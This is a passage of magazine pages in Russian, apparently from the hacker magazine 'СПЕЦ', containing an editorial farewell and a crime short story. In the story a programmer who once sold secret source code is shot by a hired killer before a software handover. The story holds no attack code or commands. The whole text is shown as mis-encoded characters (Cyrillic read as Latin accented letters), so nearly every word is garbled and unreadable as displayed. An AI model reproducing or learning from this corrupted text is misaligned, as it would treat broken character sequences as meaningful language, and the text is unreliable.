ñòàðòîâàëèíåìíîãèì áîëååãîäà íàçàä. Âñåãî 15æóðíàëîâ è âñåãî 15ìåñÿöåâ ñ òîãî ìîìåíòà,êàê íàñ ïðèãëàñèëèâ «ÑÏÅÖ». Íàì êàæåòñÿ,÷òî æóðíàë âûðîñ,âûðîñëè è ìû. ×òî-òîóñïåëè ñäåëàòü çà ýòîòïåðèîä, ÷òî-òî íåò. Êîíå÷íî,õîòåëîñü ñäåëàòüíàìíîãî áîëüøå.Òåïåðü æå íàñòóïèë òîòýòàï, êîãäà «ÑÏÅÖ»äîëæåí ñòóïèòü íà íîâûéóðîâåíü. Äëÿ íàñæå ýòî ïîäõîäÿùèé ìîìåíòïîêèíóòü æóðíàë, èäàòü âîçìîæíîñòü êîìóòîåùå âäîõíóòü â íåãîíîâûé ñìûñë, íîâóþæèçíü, íîâóþ äóøó...Õîòèì ïîæåëàòüäåéñòâóþùåé êîìàíäåïðîôåññèîíàëüíîãî èòâîð÷åñêîãî ðîñòà, àíàøåé ñìåíå — íåïîêîëåáèìîéâûäåðæêè!


ÎÔÔÒÎÏÈÊstoryÏÓËß ÄËß ÃÅÍÈßÍÀ ËÓÊÎÂÍÈÊÎÂÀ ÏÎÃÎÍÛ ÃÅÍÅÐÀËÀ ÂÑÅÃÄÀÏÐÎÈÇÂÎÄÈËÈ ÑÈËÜÍÎÅ ÂÏÅ×ÀÒËÅÍÈÅ.N I R O ( N I R O @ R E A L . X A K E P . R U ,W W W . N I R O - D E - R O B E R T . L I V E J O U R N A L . C O M )Îíè åãî ïðàêòè÷åñêè ãèïíîòèçèðîâàëè — íàñòîëüêî ìàíÿùèì áûë èõáëåñê, ñòîëüêî íåèçâåäàííîãî è íåäîñòóïíîãî òàèëè îíè çà ñîáîé, ÷òîãëàçà îòîðâàòü îò íèõ áûëî ïðàêòè÷åñêè íåâîçìîæíî.Îí ñòîÿë íàâûòÿæêó ïåðåä ãåíåðàëüñêèì ñòîëîì èç êðàñíîãî äåðåâà,ïîåäàë ãëàçàìè òî ïîãîíû, òî ïîðòðåòû ïðåçèäåíòà è ìèíèñòðàîáîðîíû íàä ãîëîâîé è æäàë î÷åðåäíîãî âûãîâîðà ñ íåâîîáðàçèìîéïðåäàííîñòüþ.— Íó ÷òî, ×èïïîëèíî, — ñêâîçü çóáû ïðîöåäèë ãåíåðàë. — Ðåçóëüòàòáóäåò åùå ïðè ìîåé æèçíè — èëè óæå ïîòîì?Ëóêîâíèêîâ (â ìèðó ãåíåðàëèòåòà ×èïïîëèíî) øìûãíóë íîñîìñîâñåì íå ïî óñòàâó è êèâíóë:— Áóäåò. Ïðè âàøåé. Ñêîðî, òîâàðèù ãåíåðàë-ëåéòåíàíò. Ñðîêè åùåíå âûøëè…— Íî óæå ïîäõîäÿò, — ãåíåðàë âñòàë, ïðîøåëñÿ âäîëü ñòåíû ïîä ïîðòðåòàìèñâîèõ ðóêîâîäèòåëåé è íà÷àëüíèêîâ. — Ïîäõîäÿò. È ñåé÷àñ íåâðåìåíà êîììóíèñòè÷åñêîé ïàðòèè — êîãäà ìîæíî áûëî ëîçóíãàìèñîðèòü ãîäàìè è òàê íè÷åãî è íå ñäåëàòü…— Òàê òî÷íî, òîâàðèù ãåíåðàë-ëåéòåíàíò, — Ëóêîâíèêîâ òåðåáèë êîí-÷èêàìè ïàëüöåâ øòàíèíû, ñòàðàÿñü äåëàòü ýòî òàê, ÷òîáû êîìàíäóþùèéíå çàìå÷àë. — Ó ìåíÿ… Ó ìîåé ãðóïïû åñòü åùå äâå íåäåëè… Òîåñòü òðè, íî âû ïðèêàçàëè ñîêðàòèòü…— Ïðèêàçàë! — êðèêíóë ãåíåðàë. — È ñíîâà ïðèêàæó! Ðåçóëüòàò ìíå íàñòîë ÷åðåç ÷åòûðíàäöàòü äíåé! Óñêîðüòå ïðîöåññ ëþáûìè ñðåäñòâàìè!Îí îñòàíîâèëñÿ â äàëüíåì óãëó êàáèíåòà, ïîñìîòðåë êóäà-òîâ ñòîðîíó è ïðîèçíåñ:— Öåëü îïðàâäûâàåò ñðåäñòâà. Âû ìåíÿ ïîíÿëè?Ëóêîâíèêîâ çàìåð è äàæå ïðåêðàòèë èçäåâàòüñÿ íàä ôîðìåííûìèáðþêàìè. Ãåíåðàë ïîñìîòðåë íà íåãî òÿæåëûì âçãëÿäîì èç-ïîäáðåæíåâñêèõ áðîâåé:— Íå ñëûøó…— Òàê òî÷íî, ïîíÿë! — êîçûðíóë Ëóêîâíèêîâ.— Ê ïóñòîé ãîëîâå ðóêó íå ïðèêëàäûâàþò, — ïîìîðùèëñÿ ãåíåðàë, è Ëóêîâíèêîââñïîìíèë, ÷òî îñòàâèë ôóðàæêó ó àäúþòàíòà çà äâåðüþ. — ×èïïîëèíî…Êòî òàì â ðàçðàáîòêå? Ôàìèëèÿ ó îäíîãî çàïîìèíàþùàÿñÿ…— Àëìàçîâ, òîâàðèù ãåíåðàë-ëåéòåíàíò, — íàïîìíèë Ëóêîâíèêîâ. —È Ðûêîâ.— Êòî èç íèõ ïðèîðèòåòíåå?—  íàñòîÿùèé ìîìåíò öåííîñòü Àëìàçîâà íå âûçûâàåò ñîìíåíèé…— Ëóêîâíèêîâ ïîíÿë, ÷òî áåñåäà ïåðåøëà â áîëåå ñïîêîéíîå ðóñëî. —Çàäàíèÿ ïîëó÷åíû, äåíüãè…— Ñïèñàë óæå? Ñìîòðè, óçíàþ, ÷òî ãàðàæ ñòðîèøü íà êàçåííûå — ðàññòðåëÿþ.— Îò÷èòàþñü çà êàæäûé ðóáëü, — îáèæåííûì òîíîì îòâåòèë Ëóêîâíèêîâ.— Âû æå ìåíÿ çíàåòå.— Ïîòîìó è íàïîìèíàþ, — ãåíåðàë çàêóðèë, âûïóñòèë îáëàêî äûìàâ ñòîðîíó. — Êîîðäèíàòîð òîëêîâûé?Ëóêîâíèêîâ ïîæàë ïëå÷àìè.— Äà âðîäå íîðìàëüíûé. Íî îò íåãî ìàëî ÷åãî çàâèñèò… Ãëàâíîå —÷òî ñäåëàþò Àëìàçîâ è åãî íàïàðíèê.— Ôèãóðàíòîâ óæå ÷åì-íèáóäü çàöåïèëè?— Äà. Íî ñ Ðûêîâûì ñëîæíåå… — Ëóêîâíèêîâ ïîêà÷àë ãîëîâîé. —Ñ íèì ïðèäåòñÿ îáùàòüñÿ î÷åíü æåñòêî.— Òàê îáùàéòåñü, — ãåíåðàë ñäåëàë åùå ïàðó çàòÿæåê, çàòóøèë íåâûêóðåííóþ è äî ïîëîâèíû ñèãàðåòó, ñîêðóøåííî âçäîõíóë. — Âðà÷èçàïðåùàþò. À ïîðîé õî÷åòñÿ — àæ äî ñëåç… Òû ìíå äàé ðåçóëüòàò!È íå ñìîòðè íà ìîè ïîãîíû. Ñäåëàåøü ðàáîòó — ïðåäñòàâëþ íà ïîëêîâíèêà.À òàì óæå ñàì êðóòèñü, êàê óìååøü.Ëóêîâíèêîâ ïðèùåëêíóë êàáëóêàìè, âûòÿíóëñÿ â ñòðóíó è åäâàëè íå êðèêíóë:— Ðàçðåøèòå âûïîëíÿòü?Ãåíåðàë ìàõíóë ðóêîé:— Âàëÿé…Áóäóùèé ïîëêîâíèê âûøåë èç êàáèíåòà, ïðèêðûë äâåðü è âûòåðïîò ñî ëáà. Àäúþòàíò ñìîòðåë íà íåãî ñ ïëîõî ñêðûâàåìîé óñìåøêîé.— Êðóò áàòÿ ñåãîäíÿ? — ñïðîñèë îí ó Ëóêîâíèêîâà.— Äà óæ… — êèâíóë òîò â îòâåò. — Íî è ìû íå ëûêîì øèòû.Îí íàäåë ôóðàæêó, âûðîâíÿë åå, ïîïðàâèë ðåìåíü è âûøåë èçïðèåìíîé.* * * * *Æäàòü íàäî áûëî åùå ïðèìåðíî ïîë÷àñà. Ëóêèí ïîùåëêàë êíîïêàìèïóëüòà, ïðîáåæàëñÿ ãëàçàìè ïî íîâîñòÿì, êàêîìó-òî ôèëüìó, ñìåíèëâñå ýòî íà áèàòëîí, íî íàøè äàìû ñ âèíòîâêàìè òàùèëèñü â êîíöåîñíîâíîé ãðóïïû, íå ïðåòåíäóÿ íè íà êàêèå ìåäàëè, â ðåçóëüòàòå÷åãî ÷åðåç íåñêîëüêî ìèíóò îí îêàçàëñÿ óæå íà ìóçûêàëüíîì êàíàëå,êîèõ â ïîñëåäíåå âðåìÿ ÷òî-òî óæ î÷åíü ìíîãî ðàçâåëîñü — êëèïûáûëè äîâîëüíî ïðèëè÷íûìè, ìóçûêà öåïëÿëà, ôèãóðèñòûå äåâ-÷îíêè ñàäèëèñü íà øïàãàò, ïàðíè ñ íàêîëêàìè áðåäèëè íåêèì ïîäîáèåìðýïà, Ëóêèí áðîñèë ïóëüò íà äèâàí è ðåøèë îñòàâèòü ýòî çâóêîâîåñîïðîâîæäåíèå.— Áóäåì íàäåÿòüñÿ, ÷òî ëþäè îíè ïóíêòóàëüíûå è íå ïåðåñåêóòñÿ ó ìåíÿïîä äâåðüìè, — ïîêà÷èâàÿ ãîëîâîé â òàêò ìóçûêå, ñêàçàë îí â òåëåâèçîð.— Õîòÿ íèêàê íå âîçüìó â òîëê — ÷òî â ýòîì ïëîõîãî? Íó, óâèäèòîäèí äðóãîãî — ÷òî ýòî èçìåíèò? Ïðàâäà, ìèíèìóì èíôîðìàöèè— ìàêñèìóì çàùèùåííîñòè, òàê, êàæåòñÿ, ãîâîðèë çàêàç÷èê? Ñëèøêîìñëîæíàÿ äëÿ ïîíèìàíèÿ ôðàçà…Îí âñòàë, âåðíóëñÿ çà êîìïüþòåð è ïåðå÷èòàë ïîñëåäíåå ïèñüìî,ïðèøåäøåå â÷åðà âå÷åðîì:— «Óòðîì æäèòå Ðûêîâà â äåñÿòü ÷àñîâ. Ãîíîðàð ïåðåäàäèòå ñðàçó.Àëìàçîâ ïðèäåò ÷åðåç ñîðîê ìèíóò. Åìó âû íè÷åãî íå äîëæíû, ñ íèìðàññ÷èòàëèñü óæå äàâíî è ñîâåðøåííî äðóãèì ñïîñîáîì. Êîãäà ïðèìåòåèñõîäíèêè, îáðàùàéòåñü ê èíñòðóêòîðó. ICQ 444115686. Îí âñå âðå-


105 |ìÿ îíëàéí, æäåò âàñ. Ñóòü äåëà îí èçëîæèò. Îñòàëüíîå — çà âàìè. Ñðîê —÷åòûðå äíÿ». Êàê âñåãäà, áåç ïîäïèñè…Êðåñëî ñêðèïíóëî ïîä íèì — æàëîáíî è êàê-òî ðàçî÷àðîâàííî, ñëîâíîîò íàëè÷èÿ ïîäïèñè â ïèñüìå çàâèñåëî åãî ñóùåñòâîâàíèå. Ëóêèí êðóòíóëñÿòóäà-ñþäà, íå ñâîäÿ ãëàç ñ ýêðàíà.— Îñòàëîñü âîñåìíàäöàòü ìèíóò… Ïðèäåò Ðûêîâ… ×òî çà Ðûêîâ? Êàê ÿ óçíàþ,÷òî îí — ýòî îí? Ïàñïîðò ïîïðîñèòü? Èëè îí ñêàæåò: «Çäðàñüòå, ÿ Ðûêîâ,ìåíÿ òóò âñå çíàþò». Ãîíîðàð ýòîò åùå…Êîíâåðò ñ äåíüãàìè îêàçàëñÿ ó íåãî â êâàðòèðå ñîâåðøåííî íåîæèäàííî,ïî îáðàçó è ïîäîáèþ Èãîðÿ Êèî. Ïðîñòî ëåæàë ïîñðåäè êîðèäîðà, êîãäàËóêèí äåñÿòü äíåé íàçàä ïðèøåë ñ ðàáîòû. Âíóòðè — äâå òûñÿ÷è ñòî äîëëàðîâè çàïèñêà. «Âàøè óñëóãè â î÷åðåäíîé ðàç î÷åíü ïîíàäîáèëèñü îäíîéâëèÿòåëüíîé îðãàíèçàöèè… Íà äåíüãè íå îáðàùàéòå âíèìàíèÿ… Îíè ïðèãîäÿòñÿâ äàëüíåéøåì… Ñòî äîëëàðîâ — çà áåñïîêîéñòâî è ÷òîáû ñìåíèòü çàìîêâ äâåðè, åñëè âû ÷åãî-òî áîèòåñü… Êîãäà ïðèäåò ÷åëîâåê ïî ôàìèëèèÐûêîâ — îòäàäèòå åìó êîíâåðò ñ äåíüãàìè â îáìåí íà äèñê. Åùå îäèí äèñêâàì ïåðåäàñò ÷åëîâåê, êîòîðûé ïðåäñòàâèòñÿ Àëìàçîâûì… Êàê òîëüêî íàðóêàõ ó âàñ îêàæåòñÿ èíôîðìàöèÿ — ñ âàìè ñâÿæóòñÿ è ïîñòàâÿò çàäà÷ó, êîòîðàÿáóäåò îïëà÷åíà áîëåå ÷åì… Ìû áóäåì î÷åíü âàì áëàãîäàðíû çà ñîòðóäíè÷åñòâî…Âàøè äðóçüÿ».Çàìîê îí íå ïîìåíÿë. Ðåøèë, ÷òî ðàç îíè âîøëè ñþäà òàê ñâîáîäíî —òî ÷òî ìåíÿé, ÷òî íå ìåíÿé, îäíî ðàçîðåíèå. Âðîäå íè÷åãî íå âçÿëè… Äåíüãèîí ñïðÿòàë â øêàô, ïåðåëîæèâ ïðè÷èòàþùóþñÿ åìó ñîòíþ â êàðìàí ïèäæàêà— îíà ñóìåëà íà íåñêîëüêî äíåé ïîïðàâèòü åãî ïîøàòíóâøååñÿ ôèíàíñîâîåïîëîæåíèå. È âñå îñòàâøååñÿ äî ïðèõîäà ãîñòåé âðåìÿ äóìàë î òîì, ÷òîæå òàêîãî îí äîëæåí áóäåò ñäåëàòü è ñêîëüêî ýòî ÷òî-òî áóäåò ñòîèòü…Êîíå÷íî, îí ïîíèìàë, ÷òî íèêòî íå ïîïðîñèò åãî ñäåëàòü åâðîðåìîíòèëè ïåðåáðàòü äâèãàòåëü «Áåíòëè». Îí íè÷åãî íå ñîîáðàæàë íè â ïåðâîì, íèâî âòîðîì. Íî âîò êàêèå óñëóãè ìîæåò îêàçàòü ïðîãðàììèñò, óâîëåííûé èçñåðüåçíîé êîíòîðû, çàíèìàþùåéñÿ îáåñïå÷åíèåì áåçîïàñíîñòè — ïðè÷åìóâîëåííûé ïî î÷åíü è î÷åíü âåñêîé ïðè÷èíå… Òóò îøèáêè áûòü íå ìîãëî. Îíóæå âûïîëíÿë òàêèå àíîíèìíûå çàäàíèÿ íåñêîëüêî ðàç çà ïîñëåäíèå òðè ãîäà.È êàæäûé ðàç ãîíîðàð áûë áîëåå ÷åì âûñîê, à òå, êòî èñïîëüçîâàë åãî,ïî-ïðåæíåìó îñòàâàëèñü â òåíè.Îí ïîíèìàë, ÷òî ëþäè åãî òèïà — íå îáÿçàòåëüíî ïðîãðàììèñòû, à âîîáùå,ëþäè, õîðîøî óìåþùèå äåëàòü ñâîþ ðàáîòó — áûñòðî îêàçûâàþòñÿâ ïîëå çðåíèÿ «âëèÿòåëüíûõ îðãàíèçàöèé», êàê òîëüêî èõ óñëóãè ïåðåñòàþòáûòü íóæíûìè ðîäíîìó ãîñóäàðñòâó. Óøåë îí èç êîíòîðû ÷åòûðå ãîäà íàçàä.Óøåë ñ øóìîì. Ñ òðóäîì ïîëó÷èë ðàñ÷åò — õîòÿ ãðîçèëè âìåñòî äåíåã ïóëþâ ëîá… Êîíå÷íî, îíè áûëè ïðàâû. Àáñîëþòíî. Îí íàðóøèë çàêîí. Ïðîäàë èñõîäíûéêîä î÷åíü ñåêðåòíîãî ïðîäóêòà. Ïðîñòî îíè íå çíàëè, ÷òî Ëóêèí ïîëó-÷èë çà ýòî äåíüãè — óäàëîñü îáñòàâèòü ýòî êàê ñâîþ õàëàòíîñòü, íî áåç ïðåñòóïíîãîóìûñëà. Óùåðá áûë âåëèê — íèêòî äàæå íå ïûòàëñÿ ïîäñ÷èòàòü. Êòîåãî âû÷èñëèë, Ëóêèí íå çíàë è ïî ñåé äåíü — íî âñåãäà ïîíèìàë, ÷òî ðàáîòàåòñðåäè ëþäåé, êîòîðûå íè÷óòü íå ãëóïåå åãî. Êòî ñóìåë îòñëåäèòü, ïîíÿòü,ïðåäóãàäàòü, âû÷èñëèòü… Íî îí óñïåë ïåðåäàòü êîä. Óñïåë ïîëó÷èòü ãîíî-


106 | ÎÔÔÒÎÏÈÊðàð. Íàáðàë êðåäèòîâ, êóïèë ïëàçìåííûé òåëåâèçîð, ìîùíûé êîìïüþòåð,íåìíîãî ìåáåëè — è êîãäà îñòàëñÿ áåç äåíåã, åãî óâîëèëè.Êàêèì-òî îáðàçîì îí ïðîäåðæàëñÿ íåñêîëüêî ìåñÿöåâ. Âûðó÷àëèäðóçüÿ, îäèí ðàç ñ êðåäèòîì ïîìîã îòåö, íî ïåíñèÿ áûëà íåâåëèêà,÷òîáû ðàññ÷èòûâàòü íà íåå åùå ðàç â áëèæàéøèå ïîëãîäà. Ïûòàëñÿóñòðîèòüñÿ íà ðàáîòó — è âåçäå åãî îæèäàëè îòêàçû. Ïðåñëîâóòûé«÷åðíûé ñïèñîê». Îí äåéñòâîâàë çàìå÷àòåëüíî, ôàìèëèÿ «Ëóêèí»îòïóãèâàëà âñåõ, íà äâåðü óêàçûâàëè ñ çàâèäíûì ïîñòîÿíñòâîì.Îí äàæå ïûòàëñÿ íà÷àòü ïèòü — íàñòîëüêî çàöåïèëà åãî ýòà æèçíåííàÿïóñòîòà; íî è òóò íå âûøëî. Ïå÷åíü, ñëàáàÿ ñ äåòñòâà, íå ïîçâîëèëàïðåâðàòèòüñÿ â àëêîãîëèêà — è òðåõäíåâíûé çàïîé ñòàë ïåðâûìè ïîñëåäíèì â åãî æèçíè.È âîò êîãäà îí óæå ñîâñåì ïîòåðÿë âñÿêóþ íàäåæäó è ïðèíÿëñÿîáõîäèòü áëèæàéøèå àâòîñòîÿíêè â íàäåæäå ïðåâðàòèòüñÿ â ñòîðîæàñ âûñøèì îáðàçîâàíèåì — â åãî êâàðòèðå îêàçàëñÿ êîíâåðò ñ äåíüãàìèè ïðåäëîæåíèåì ïîðàáîòàòü íà êîãî-òî. Ïîòîì îí íàõîäèë òàêèåêîíâåðòû åùå òðè ðàçà…Ëóêèí ïðîøåëñÿ ïî êâàðòèðå, íàâîäÿ ïîðÿäîê, ðàñêëàäûâàÿ êíèãè,ãàçåòû, ïî ïóòè âûòðÿõíóë ïåïåëüíèöó â ñòàðóþ ãàçåòó, îãëÿäåë âñå îöåíèâàþùèìâçãëÿäîì, ñìÿë â ðóêå êóëåê ñ ïåïëîì è íàïðàâèëñÿ íà êóõíþ.Êîãäà îí ïðîõîäèë ïî êîðèäîðó ìèìî äâåðè, ðàçäàëñÿ ñòóê â äâåðü.Ëóêèí çàìåð è ìåäëåííî ïîâåðíóëñÿ íà çâóê. Åãî óäèâèëî òî, ÷òîãîñòü ïîñòó÷àëñÿ — çâîíîê ðàáîòàë èñïðàâíî, ïðåòåíçèé ê íåìó íå áûëîóæå ìíîãî ëåò. Ñäåëàâ ïàðó øàãîâ ê äâåðè, îí óñïåë ïåðåäóìàòü òûñÿ÷óâàðèàíòîâ âñòðå÷è ñ ïåðâûì ãîñòåì, íî âäðóã âñïîìíèë, ÷òî ðîâíîáåç ïÿòè äåñÿòü äîëæåí áûë ñðàáîòàòü áóäèëüíèê — íî òîò ìîë-÷àë… Çíà÷èò, Ðûêîâ ïðèøåë ðàíüøå.Ýòîò ñëó÷àé îíè ñ çàêàç÷èêîì íå îáãîâàðèâàëè. Ïðàâäà, íè÷åãîñòðàííîãî è îïàñíîãî â ýòîì íå áûëî — ïîäóìàåøü, ïåðåâîëíîâàëñÿ,íå ñóìåë ðàñïëàíèðîâàòü âðåìÿ, ïðèøåë è íå ñòàë ìÿòüñÿ ïîä äâåðüþ,ãëÿäÿ íà ÷àñû, à ñðàçó ñòóêíóë — íåòåðïåëèâî, íàñòîé÷èâî. Ëóêèí,ïðîäîëæàÿ ñæèìàòü â ðóêó êóëåê, ïàõíóùèé òàáàêîì è äûìîì, ïîäîøåëê äâåðè è ùåëêíóë çàìêîì.Åìó ïîêàçàëîñü, ÷òî äâåðü îòêðûëàñü ñàìà. Ïîõîæå, ÷åëîâåê íàïëîùàäêå æäàë çâóêà ùåêîëäû — ñòâîðêà ñðàçó ïîøëà âïåðåä, Ëóêèíóâèäåë ÷åëîâåêà â äæèíñîâîì êîñòþìå. Ðóêè ãîñòü äåðæàë çà ñïèíîé,ãëàçà ïðèñòàëüíî ñìîòðåëè íà õîçÿèíà.— Âû Ðûêîâ? — ñïðîñèë Ëóêèí, îòêðûâ äâåðü íàñòîëüêî, ÷òîáûâïóñòèòü ãîñòÿ. îòâåò ÷åëîâåê âûòàùèë èç-çà ñïèíû ïèñòîëåò è äâàæäû âûñòðåëèëõîçÿèíó â ãðóäü…Ëóêèí, îòáðîøåííûé ïóëÿìè íà ïðîòèâîïîëîæíóþ ñòåíó êîðèäîðà,ìåäëåííî ñïîëçàë íà ïîë, ïûòàÿñü ñîïðîòèâëÿòüñÿ ñèëå òÿæåñòè, è ðâàëñÿââåðõ ñëàáåþùèìè ðóêàìè è íîãàìè. Ðóáàøêà íàáóõàëà êðîâüþ, îíòÿæåëî è øóìíî äûøàë, ãëàçà øàðèëè âîêðóã ñåáÿ, íè÷åãî íå âèäÿ è íåçàìå÷àÿ, êàê ñòðåëîê âîøåë âíóòðü, îãëÿäåëñÿ ïî ñòîðîíàì, ïíóë â ñòîðîíóðàñêðûâøèéñÿ êóëåê ñ îêóðêàìè è òèõî çàòâîðèë çà ñîáîé äâåðü.— ×òî… Êòî?.. — ïûòàëñÿ çàäàòü âîïðîñ Ëóêèí, íî ñèëû ïîêèäàëè åãî.×åëîâåê íàãíóëñÿ íàä óìèðàþùèì, ñëîâíî ïûòàÿñü óñëûøàòü ïîñëåäíèåñëîâà, ïîòîì âûïðÿìèëñÿ, ïðîøåë ïî êîìíàòàì, ÷òîáû óáåäèòüñÿ, ÷òîáîëüøå íèêîãî íåò. Êîãäà îí âåðíóëñÿ â êîðèäîð, Ëóêèí óæå áûë ìåðòâ.Êèëëåð äîñòàë èç êàðìàíà òåëåôîí, ñäåëàë çâîíîê.— Èñïîëíåíî. Êàêèå áóäóò äàëüíåéøèå óêàçàíèÿ?Òðóáêà ïðîèíñòðóêòèðîâàëà åãî íà ïðåäìåò äàëüíåéøèõ äåéñòâèé.— Ïîíÿë… Äâåðü íå çàêðûâàþ… — êèëëåð çàêîí÷èë ðàçãîâîð è âûøåë,îñòàâèâ âõîäíóþ äâåðü íåìíîãî ïðèîòêðûòîé. Êîãäà ÷åðåç ïÿòíàäöàòüìèíóò ñþäà ïðèì÷àëñÿ îïîçäàâøèé èç-çà òîë÷åè â ìåòðî Ðûêîâ,çàïàõ ïîðîõà ñ ïëîùàäêè ïðàêòè÷åñêè âûâåòðèëñÿ…* * * * *×èòàÿ ñ ýêðàíà, îí îò÷åòëèâî øåâåëèë ãóáàìè, ïðîèçíîñÿ ïî÷òè âñåøåïîòîì:— «…æäèòå Ðûêîâà â äåñÿòü ÷àñîâ. Ãîíîðàð ïåðåäàäèòå ñðàçó. Àëìàçîâïðèäåò ÷åðåç ñîðîê ìèíóò…. Êîãäà ïðèìåòå èñõîäíèêè, îáðàùàéòåñüê èíñòðóêòîðó. ICQ 444115686… Ñóòü äåëà îí èçëîæèò. Ñðîê —÷åòûðå äíÿ…».Êîãäà Ðûêîâ ïåðå÷èòàë ïèñüìî â ÷åòâåðòûé èëè ïÿòûé ðàç, òî ïî-÷óâñòâîâàë, ÷òî ïîêðûëñÿ ëèïêèì è õîëîäíûì ïîòîì. Îí ïîíÿòèÿ íåèìåë, êàê òàê ñëó÷èëîñü, ÷òî âîò îí çäåñü — à â êîðèäîðå ëåæèò ìåðòâåö,îáîè èçìàçàíû êðîâüþ, íà ñòîëå ïåðåä íèì äèñê ñ ïðîãðàììîé, íàýêðàíå êîìïüþòåðà ïèñüìî îò íåèçâåñòíîãî çàêàç÷èêà è ñîâåðøåííîíåèçâåñòíî, ÷òî åùå ñëó÷èòñÿ â åãî æèçíè â áëèæàéøèå ïÿòü ìèíóò.Êîãäà îí çàáåæàë íà øåñòîé ýòàæ, ãäå äîëæíà áûëà áûòü êâàðòèðàËóêèíà, òî åìó ïîêàçàëîñü, ÷òî ñâåðõó òÿíåò êàêèì-òî äûìêîì, íàïîìèíàþùèìçàïàõ ñãîðåâøåãî ôåéåðâåðêà. Ïðàâäà, îùóùåíèå áûëîìèìîëåòíûì, áóêâàëüíî íà äîëþ ñåêóíäû, è Ðûêîâà îíî íå îñòàíîâèëî— íî åäâà îí ïîòÿíóë íà ñåáÿ ïðèîòêðûòóþ äâåðü ïîñëå íåñêîëüêèõáåçîòâåòíûõ çâîíêîâ, êàê âñå ñðàçó ñòàëî ïîíÿòíî…Õîçÿèí êâàðòèðû íå ìîã îòêðûòü åìó äâåðü. Îí áûë ìåðòâ. Ñîâåðøåííîè íåîáðàòèìî.Íå òî ÷òîáû Ðûêîâ ÷àñòî âèäåë ìåðòâåöîâ — íî âîò ïî÷åìó-òîçäåñü è ñåé÷àñ îí íå èñïóãàëñÿ. Ïîñòîÿë íà ïîðîãå, ïîòîì âîðîâàòî îãëÿíóëñÿ— íå óâèäåë ëè êòî, êàê îí âõîäèò, ñêîëüçíóë âçãëÿäîì ïîäâåðíûì ãëàçêàì, ñäåëàë øàã âïåðåä è ïðèòâîðèë äâåðü. Ëóêèí ñìîòðåëíåâèäÿùèìè ãëàçàìè êóäà-òî â ïîòîëîê, ãîëîâà ñêëîíåíà ê ïëå-÷ó… Íà ðóáàøêå îò÷åòëèâî âûäåëÿëèñü äâà ïóëåâûõ ðàíåíèÿ — êðîâüòåìíàÿ, ðóáàøêà ïðîïèòàëàñü åé íàñòîëüêî, ÷òî êàçàëàñü êàêèì-òîïàíöèðåì. Íà îáîÿõ — òàì, ãäå îí ñïîëçàë — íåñêîëüêî ìàçêîâ êèñòèïîëóïüÿíîãî õóäîæíèêà, êðîâàâûå ñëåäû, àëûé îòïå÷àòîê ëàäîíè èáîëüøàÿ äûðêà â ñòåíå.— Íàâûëåò, — òèõî ñêàçàë Ðûêîâ è âäðóã ïîíÿë, ÷òî íàõîäèòñÿ îäèí íàîäèí ñ ìåðòâåöîì. È ñåé÷àñ ïðîñòî çâåçäíûé ÷àñ ó òåõ, êòî êîãäà-íèáóäüâ æèçíè õîòåë åãî ïîäñòàâèòü. Çàéäè ñþäà â ýòó ìèíóòó ëþáîé ÷åëîâåê— è íå îòìîåøüñÿ î÷åíü è î÷åíü äîëãî…Ðàçâåðíóâøèñü, îí óæå õîòåë óéòè, è ÷åì áûñòðåå, òåì ëó÷øå, íîâ êàêîé-òî ìîìåíò åìó âäðóã ñòàëî æàëêî òîé ðàáîòû, ÷òî îêàçàëàñüíèêîìó íå íóæíîé. Îí ïîòðàòèë äâå íåäåëè ñâîåé æèçíè íà ðåøåíèåïðîáëåìû — à ÷åëîâåê, êîòîðîìó îí íåñ äèñê, áûë íå â ñîñòîÿíèè îöåíèòüåãî òðóä. È òîãäà îí ðåøèë õîòÿ áû óçíàòü, ñ êåì èìååò — òî÷íåå,èìåë äåëî — è ïðîøåë â êîìíàòó.Âêëþ÷åííûé êîìïüþòåð ñðàçó áðîñèëñÿ åìó â ãëàçà — êàê ÷åëîâåêó,îáèòàþùåìó â îñíîâíîì çà êëàâèàòóðîé. Íà ýêðàíå áûë îòêðûòïî÷òîâèê. Ðûêîâ ïîäîøåë ïîáëèæå è óâèäåë ïèñüìî, àäðåñîâàííîåóáèòîìó (çà íåèìåíèåì â ýòîé êîìíàòå íèêîãî äðóãîãî). Ïðî÷èòàë, ïîñìîòðåëíà ÷àñû:— ß îïîçäàë… — õìóðî ñêàçàë îí. — Õîòÿ — ÷åðò åãî çíàåò, ÷òî áûëî,ïðèäè ÿ âîâðåìÿ. Çíà÷èò òàê — êëþ÷åâûå ñëîâà «ãîíîðàð» è «Àëìàçîâ».Ìåðòâåö äîëæåí áûë ïåðåäàòü ìíå äåíüãè è âñòðåòèòüñÿ åùåñ îäíèì ÷åëîâåêîì. Âðåìåíè ó ìåíÿ ìàëî.Îí îïåðñÿ ðóêàìè íà êîìïüþòåðíûé ñòîë è çàäóìàëñÿ…Äâå íåäåëè íàçàä ê íåìó ïðèøëè ãîñòè. Äâà ÷åëîâåêà, âûãëÿäåâøèõíàñòîëüêî ñåðî è áåçëèêî, ÷òî ïîñëå èõ óõîäà îí íå ìîã âñïîìíèòüèõ ëèö. Ïðèøëè, íå ïðåäñòàâèëèñü, äîëãî îòìàë÷èâàëèñü â êðåñëàõ,ïåðåãëÿäûâàÿñü ìåæäó ñîáîé — à ïîòîì ïðåäëîæèëè ðàáîòó. Ïðè÷åìðàáîòà áûëà íàñòîëüêî ñëîæíîé è çàïóòàííîé — íå ïî ñóòè, à ïî òîìóêîëè÷åñòâó òóìàíà, êîòîðûé îíè íàïóñòèëè âîêðóã äà îêîëî, — ÷òî Ðûêîâïîíà÷àëó çàñîìíåâàëñÿ âî âìåíÿåìîñòè ýòîé ïàðî÷êè, íàïîìíèâøåéåìó ëó÷øèå ãîäû, îòäàííûå ïèîíåðñêîé îðãàíèçàöèè è èãðå «Çàðíèöà».Îíè ïîñòîÿííî óâîäèëè âçãëÿäû â ñòîðîíó, èãðàëè â êàêèõ-òîàãåíòîâ, ïóòàëè òåðìèíû, ñâîè ñîáñòâåííûå âû÷óðíûå è ÿâíî íåíàñòîÿùèåèìåíà, ïî÷åñûâàëèñü, ïîäêàøëèâàëè, êóñàëè ãóáû — â îáùåì,ïðîèçâîäèëè âïå÷àòëåíèå æóòêèõ íåïðîôåññèîíàëîâ. Íî ýòî áûëîòîëüêî ïåðâîå âïå÷àòëåíèå. Îíî æå — îáìàí÷èâîå.Ïîòîìó ÷òî êîãäà îíè óøëè — Ðûêîâ äåðæàë â ðóêàõ ïÿòüñîò äîëëàðîâè èìåë çà äóøîé îáåùàíèå íàïèñàòü ïðîãðàììó. Íàïèñàòü íå÷òîñîâåðøåííî íåïîíÿòíîå, íà ïåðâûé 